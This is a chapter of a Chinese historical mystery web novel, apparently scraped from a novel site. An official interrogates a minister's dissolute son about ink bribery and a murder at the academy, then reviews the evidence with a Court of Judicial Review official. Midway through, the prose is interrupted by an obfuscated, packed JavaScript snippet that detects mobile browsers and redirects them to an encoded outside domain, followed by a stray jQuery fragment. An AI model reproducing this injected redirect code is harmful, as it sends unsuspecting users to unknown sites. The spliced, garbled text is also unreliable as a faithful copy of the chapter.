9.桌案

作品:《秉刀照雪

    “岑大人,岑大人久等了。”


    门房小厮跑得快,不过片刻,岑阙便进了尚书府门。


    虽说在平都购置了府邸,可尚书府内并不过分奢靡。赵诚身为户部尚书,这些年明面上倒也是尽职尽责,偶有几本折子参奏,也大多是指责他过于溺爱独子,不顾自己多年官声。


    小厮将岑阙一路引至书房,赵沛正在里间,心不在焉地歪倒在太师椅上,随意翻看着桌上书卷。


    见岑阙进门,没骨头似的赵公子勉强起身,冲着岑阙拱了拱手,敷衍道:“岑大人,怠慢了。”


    其人在家中被骄纵太过,一身横肉堆在一起,身上更是穿金戴银,和他那身材矮小的尚书爹堪称两模两样。


    岑阙心中啧啧两声,原来不是瘫子,失敬。


    书房敞亮,又是午后时分,偏偏还能被他闻见似有若无的酒臭,可见这位赵公子平日行事荒唐。


    岑阙也不想同此人寒暄:“着实有些怠慢。本官入仕以来,还是第一次被拒之门外。”


    赵沛嗤之以鼻,整个人又坐回了太师椅上,打了个哈欠:“看来岑大人还是经验不足,都察院这些年屈居大理寺之下,行事哪有过顺利的?”


    “赵公子此言差矣,”岑阙扯了扯嘴角,没将他的挑拨离间放在心上。他皮笑肉不笑道,“都察院与大理寺都是为陛下分忧,哪有谁高谁低之分。难不成赵公子是故意不放本官进来,想着能拖一刻是一刻?”


    赵沛见说不过岑阙,面色一沉,忍气吞声道:“学生并无此意。”


    已经被岑阙寻到错处了,赵沛也不敢继续横行霸道,干脆将话锋一转,问:“不知岑大人入府,所为何事?”


    岑阙默然,上上下下仔细打量着这间书房。


    赵诚身为户部尚书,府上虽然俭省,但到底不能失了朝中大员气度,书房这等机要之地,并未与独子共用。


    是以岑阙一垂眸,便看见了案上砚台边,正搭着一条松烟墨。


    “赵公子常假结束也不去国子监报道,用墨倒是名贵。”岑阙笑道。


    赵沛像是听不懂他话里的讥讽,整个人向后一倚,“这才出了命案,学生被吓得夜不能寐,自然是要躲着些了。”


    岑阙说:“怎么是赵公子夜不能寐啊,我倒是觉得,真凶才该夜不能寐。”


    赵沛面色一僵,旋即又恢复了倨傲姿态:“岑大人这是什么话,那书学学子横死院中,到底有些忌讳,学生不愿沾染,不是人之常情吗?”


    好一个人之常情。


    岑阙竖握墨条,轻轻磨出一圈浓黑墨汁来。


    “好墨,”他道,“本官自沧州回京已有月余,不料竟只有在赵大人府上,才能见到这样好的沧州墨。”


    见岑阙不再咄咄逼人,赵沛也放松了几分,懒着声道:“供人消遣的玩意儿罢了,岑大人若是中意,学生自然奉上更好的。”


    听着倒是浑然不知展画屏灵前一墨。


    岑阙不动声色,说:“赵公子慷慨,莫不是总拿此物做人情?”


    赵沛不甚在意道:“说到底也不过一块墨罢了,没什么稀罕的,太学之中不少同侪都收过。”


    “说得这样轻车熟路,赵公子啊,”岑阙似笑非笑地侧目,一双眼中冷冰冰,“外放沧州时,我曾听闻京中皆行墨贿,原来是这么一回事。”


    贿之一字如冷水浇头,赵沛当即灵台清明,慌慌张张地站起来,一身环佩容臭叮叮当当响起。


    他结结巴巴道:“岑大人、岑大人此言差矣,这不过是……不过是家父结交广泛,挚友相赠罢了!怎么能、能是行贿呢……”


    岑阙将手中墨条放回砚台边,真心实意地笑了笑:“赵公子也不必紧张,是结党还是交友,都察院自会奏请陛下定夺,眼下重要的是国子监的案子,若是赵公子还记得哪些同侪收过沧州墨,不妨一一写下来,也算是为都察院与大理寺分忧了。”


    赵沛平日里哪管送礼之事?可事到临头,也由不得他迟疑,被酒色财气泡过的脑子飞速思索起来,抖着手去拿桌上的笔。


    不多时,几家人的名字跃然纸上,被颤颤巍巍递到岑阙手中。


    赵沛哭丧着脸道:“岑大人明鉴,这这这、这就是全部了!沧州墨学生也不多得,哪至于是墨贿……”


    岑阙没理他,他声音愈发低下去,一张被横肉堆满的脸皱在一起,瞧着比岑阙还为难。


    名单上的人名岑阙不大熟,想来真是赵沛太学的同侪。


    他等纸上墨迹晾干了,这才细致地将宣纸叠起来,揣进袍袖中。


    “圣心裁断,不由本官,也不由赵尚书。”岑阙收了笑意,面无表情道。


    见天色不早,赵沛处虽说阻拦他进门,可到底交代得爽快,岑阙一时拿不准他到底是城府颇深,扮猪吃虎,还是当真与展画屏之死无关。


    “昨日国子监常假,你身在何处?”岑阙问。


    赵沛面色忽而有几分尴尬,整个人朝太师椅中又缩了缩,看着像是一团华贵的肉山。


    “昨日、昨日……学生昨日在……”他小心翼翼打量着岑阙的脸色,小声道,“在玉昌坊……”


    玉昌坊,平都城最大的销金窟,赌钱的、寻欢作乐的高门显贵都爱往那处凑。


    岑阙又问:“可有人证?”


    赵沛忙不迭点头:“有有有!我成日待在飞花楼,鸨母和清婉都能为我作证!”


    岑阙:……


    这话你如何好意思讲出来的?


    他揉了揉额角,叹了口气道:“罢了。”


    也是猪油蒙心了,竟以为这草包真有瞒天过海的本事。


    只是此一趟并不算完全没有收获,岑阙垂眸,手指不自觉地摩挲着袖中宣纸。


    赵诚今日不在,旁的也敲打不出什么,不如早些与元少卿碰头,至少还能查查这纸上的人。


    在赵沛惊惧的目光中,岑阙平静道:“今日便问到这里,赵诚墨贿之事,明日自有都察院上折子。告辞。”


    赵沛哆嗦着起身,拱手说:“岑、岑大人慢走……”


    等岑阙出了书房,听见身后传来一阵山倒般沉重声响。


    出息,他嘲弄一笑。


    “我从前听父亲说,赵诚是个遇事便持中不言道窝囊废,起先看了他儿子,以为是突破家学渊源,待人接物好歹直抒胸臆了些,不曾想还是与他老子一脉相承。”


    兰钦:“大人小声些,这好歹是人家府上。”


    岑阙不置可否。


    廊下有赵府婢女捧着浆洗好的外衣,缓缓向内院而去,他眯着眼睛瞧了瞧,总觉得有些眼熟。


    转念一想,昨日在国子监,元行煦不就穿着件一模一样的?


    还不待岑阙抬步欲走,脑海中霎时划过一个物件,令他脸色骤变。


    “慢着!”


    太学学子服上放着的东西,元行煦身上可没有!


    -


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033462|176362||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    元行微于监舍一无所获。


    拘在监舍内的书学生同昨日晚间问出的那几个大差不差,不曾与展画屏亲近,更不曾去吊唁。


    仔细想来,那些往展家去的车马消息太灵通,如若书学查不出个所以然,先查清是哪些学子在背后推着展画屏去死,也不失为一条新路。


    陛下要都察院入局,想必也是为此。


    回大理寺的路上,元行微琢磨了一路,下马后对照衣道:“堂中再添一套桌椅,若小岑大人有新线索,也好尽快厘清。”


    “原来少卿想得这样周到,下官感念啊。”身后,岑阙带笑的声音传来。


    元行微侧身而视,并未反驳他的话。


    半日相处下来,她心中对岑阙的芥蒂散了大半,在查案一事上,此人头脑精明,不似寻常绣花枕头。


    至于那几摞被批驳的卷宗……


    元行微决定一码归一码,结案了再计较也不迟,况且此案是二人共同经手,也不是不能让岑阙亲自做范本。


    她面不改色垂眸,掩住眼中零星的算计。


    那位名叫兰钦的随侍站在岑阙身后,手中捧着个木匣,元行微看在眼里,她略一点头道:“好说。赵尚书府上发现什么了?”


    岑阙故作高深一笑:“自然是好东西啊,少卿还是同我一道进去,尽快厘清吧。”


    搬抬桌椅的人手脚麻利,二人回了堂中,那方属于岑阙的桌案便摆在堂中左侧,与元行微的挨得很近。


    午时不曾细看,岑阙眼下踏进门,才看见元行微昨日为了案子,都如何夜不能寐。


    “少卿辛苦,”他感叹道,“还是天下太平的好,否则日日这样熬下去,迟早熬垮身子。”


    元行微眸色一暗,心中思绪万千。


    “多谢小岑大人体谅。”


    岑阙的目光从堂中一一扫过,最终落在元行微桌案上,那张展玉书亲笔写下的剖尸文书上,眉头微挑。


    他说:“看不出来,那位展姑娘于文书上的造诣,比少卿可是好上不少。”


    元行微:不必一码归一码了,现在就把他的桌椅给本官抬出去。


    “莫要本末倒置啊,小岑大人,”她寒声道,“赵尚书府上都有什么?”


    岑阙这才一副如梦初醒的模样,让兰钦上前来,放下了那方木盒,又从袍袖中拿出那张叠得四四方方的纸。


    “赵沛不惊吓,三两句便吐了个干净,我瞧着不像是凶手,”他脸上收起了笑意,“纸上是赵沛号称‘赠墨’的太学生名单,其中或有昨日凭吊展画屏之人。”


    元行微沉吟:“一方赠墨罢了,当不成物证。花重金凭吊展画屏,也只能证明那人确实惋惜她遭遇。”


    只是国子监中,从未听过有人对展画屏如此看好。


    倘若真是伯乐,为何案发至今,也不曾向大理寺主动透露半个字?


    “不错,墨与凶手未必有关联。”岑阙点了点头,认同了元行微的说法。


    下一刻,他打开木盒,许是怕路上纵马颠簸,里头还特意用软布垫了。


    “那,少卿看看这个呢?”岑阙道。


    元行微低头看去,里面正躺着一条学子常佩的禁步。


    白玉质地温润,其下有玉珠作串,碰撞时声音泠泠,恰是督促人行事中规中矩的物件。


    “回来的路上,我找首饰铺子看过了,这上头的玉珠,同展画屏咽下的那两颗,同属一璧。”